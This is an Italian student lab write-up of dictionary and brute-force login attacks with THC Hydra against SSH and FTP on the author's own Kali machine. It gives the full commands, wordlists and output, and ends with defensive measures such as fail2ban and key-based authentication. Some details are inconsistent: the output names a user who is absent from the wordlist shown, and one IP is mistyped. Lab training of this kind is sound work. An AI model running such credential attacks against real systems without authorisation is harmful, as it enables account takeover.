

S6L5

Questo documento è stato redatto per illustrare e documentare un esercizio pratico di penetration testing, focalizzato sulla valutazione della sicurezza dei servizi di rete.

L'obiettivo principale dell'attività è: acquisire padronanza nell'utilizzo dello strumento Hydra per condurre attacchi di forza bruta e a dizionario contro i sistemi di autenticazione, consolidare la conoscenza dei servizi di rete stessi attraverso la loro configurazione e analisi delle vulnerabilità.

L'esercizio si è sviluppato in due fasi distinte: una prima fase guidata, che ha focalizzato l'attenzione sul protocollo SSH, dove è stato simulato un attacco di "password cracking". Successivamente, una seconda fase ha permesso di applicare le competenze acquisite in modo autonomo, configurando e attaccando un servizio di rete a scelta. (FTP)

Configurazione ambiente:

Dopo aver letto e compreso la richiesta dell'esercizio di oggi, ho iniziato con la configurazione di un nuovo utente sulla macchina Kali Linux con le seguenti credenziali, ID: **test_user** e PSW: **testpass**

```
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []: test_user
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

Una volta creato il nuovo utente, attivo il servizio SSH e verifico il corretto funzionamento con la connessione in SSH dell'utente test_user precedentemente creato, eseguendo il comando: **ssh test_user@192.168.50.105**

```
(root@kali)-[/home/kali]
# ssh test_user@192.168.50.105
The authenticity of host '192.168.50.105 (192.168.50.105)' can't be established.
ED25519 key fingerprint is SHA256:T7iudyZY4cPm+skUzgtajX07sFGIKHlm4EORplcAVEc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.105' (ED25519) to the list of known hosts.
test_user@192.168.50.105's password:
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

Come possiamo vedere dall'immagine sopra, siamo entrati nella shell di test_user;

Una volta verificata la corretta funzionalità dell'utente test_user, passo sull'utente Kali e creo due file .txt differenti che useremo come wordlist. Uno per combinazioni di passwords, e uno per gli usernames, così da poterli impiegare per una sessione di cracking tramite Hydra.

```
(kali@kali)-[~]
$ echo -e "password\n123456\ndajeroma\nthcaddict\npeppino\ntestpass\n123qwerty\nbattlefield6" > passwords.txt
(kali@kali)-[~]
$ echo -e "admin\nroot\nyamaha\nkontakt\nfl2024\nwebexadmin\nvirtualbox\nadmin123" > usernames.txt
```

Adesso non resta altro che avviare Hydra e dargli **hydra -L username_list -P password_list IP_KALI -t 1 ssh -V**

Questo comando utilizza lo strumento Hydra per eseguire un attacco di forza bruta contro un servizio SSH, tramite

-L specifichiamo un file (**usernames.txt**) che contiene una lista di nomi utente da testare. Hydra tenterà di accedere con ogni nome utente presente in questo file.

-P Specifica un file (**passwords.txt**) che contiene una lista di password da testare. Hydra anche qui proverà ogni password del file per ogni nome utente. **Questo è il cuore dell'attacco a dizionario.**

198.168.50.105: È l'indirizzo IP del server bersaglio a cui Hydra cercherà di connettersi.

-t 1: Imposta il numero di tentativi paralleli (thread) a 1. Questo significa che Hydra farà 1 tentativo alla volta.

SSH: Specifica il protocollo di rete su cui eseguire l'attacco. In questo caso, il comando tenterà di crackare le credenziali di accesso al servizio **Secure Shell (SSH)** del server.

-V per avere un report dei tentativi di cracking da parte di Hydra in tempo reale

```
(kali@kali)-[~]
$ hydra -L usernames.txt -P passwords.txt 192.168.50.105 -t 1 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-08 05:27:31
[DATA] max 1 task per 1 server, overall 1 task, 80 login tries (l:10/p:8), ~80 tries per task
[DATA] attacking ssh://192.168.50.105:22/
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "password" - 1 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "123456" - 2 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "dajeroma" - 3 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "thcaddict" - 4 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "peppino" - 5 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "testpass" - 6 of 80 [child 0] (0/0)
[22][ssh] host: 192.168.50.105 login: test_user password: testpass
```

Come possiamo constatare dall'immagine, Hydra ha letto il primo user contenuto nel file usernames.txt e ha tentato tutte le password contenute nel file passwords.txt. In sintesi in questo caso è stato condotto un attacco di tipo **"attacco dizionario"** e **"brute-force"** contro il servizio SSH. L'attacco ha tentato di combinare i nomi utente presenti nel file usernames.txt con le password presenti nel file passwords.txt.

Cracking contro un servizio FTP

Vista la configurazione iniziale dell'ambiente, a questo punto è semplice per noi, effettuare un attacco come questo su un altro tipo di servizio. Infatti ci basterà installare ed attivare il servizio ftp sulla macchina e dopo di che cambiare il servizio da SSH in FTP nel comando che daremo ad Hydra e il gioco è fatto:

Comando:

```
(kali@kali)-[~]
$ hydra -L usernames.txt -P passwords.txt 192.168.50.105 -t 1 ftp -V
```

Risultato:

```
└─$ hydra -L usernames.txt -P passwords.txt 192.168.50.105 -t 1 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
s is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-08 06:01:09
[DATA] max 1 task per 1 server, overall 1 task, 80 login tries (l:10/p:8), ~80 tries per task
[DATA] attacking ftp://192.168.50.105:21/
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "password" - 1 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "123456" - 2 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "dajeroma" - 3 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "thcaddict" - 4 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "peppino" - 5 of 80 [child 0] (0/0)
[ATTEMPT] target 192.168.50.105 - login "test_user" - pass "testpass" - 6 of 80 [child 0] (0/0)
[21][ftp] host: 192.168.50.105 login: test_user password: testpass
```

Questo è il risultato del cracking sul servizio FTP.

Questo esercizio simula l'applicazione pratica di un attacco di brute-force su un servizio SSH e FTP tramite l'utilizzo di Hydra, un tool molto potente, noto anche come THC Hydra, è un tool open-source ampiamente utilizzato nel campo della cybersecurity, specialmente nel penetration testing. Il suo scopo principale è quello di effettuare attacchi di "password cracking" online, in particolare attacchi a dizionario e di forza bruta, contro i servizi di autenticazione di rete.

Analizzando le diverse fasi, possiamo notare l'importanza di adottare **policy di sicurezza robuste**, come l'uso di password complesse, l'attivazione di sistemi di blocco degli account dopo tentativi falliti (ad esempio con fail2ban) e l'impiego di protocolli di autenticazione più sicuri, come l'autenticazione a chiave pubblica.

Attraverso l'esercizio svolto oggi, ho appreso come replicare un attacco a dizionario e brute-force tramite l'impiego del tool Hydra, ma mi ha aiutato a comprendere anche le contromisure necessarie per rafforzare la sicurezza contro le minacce più comuni.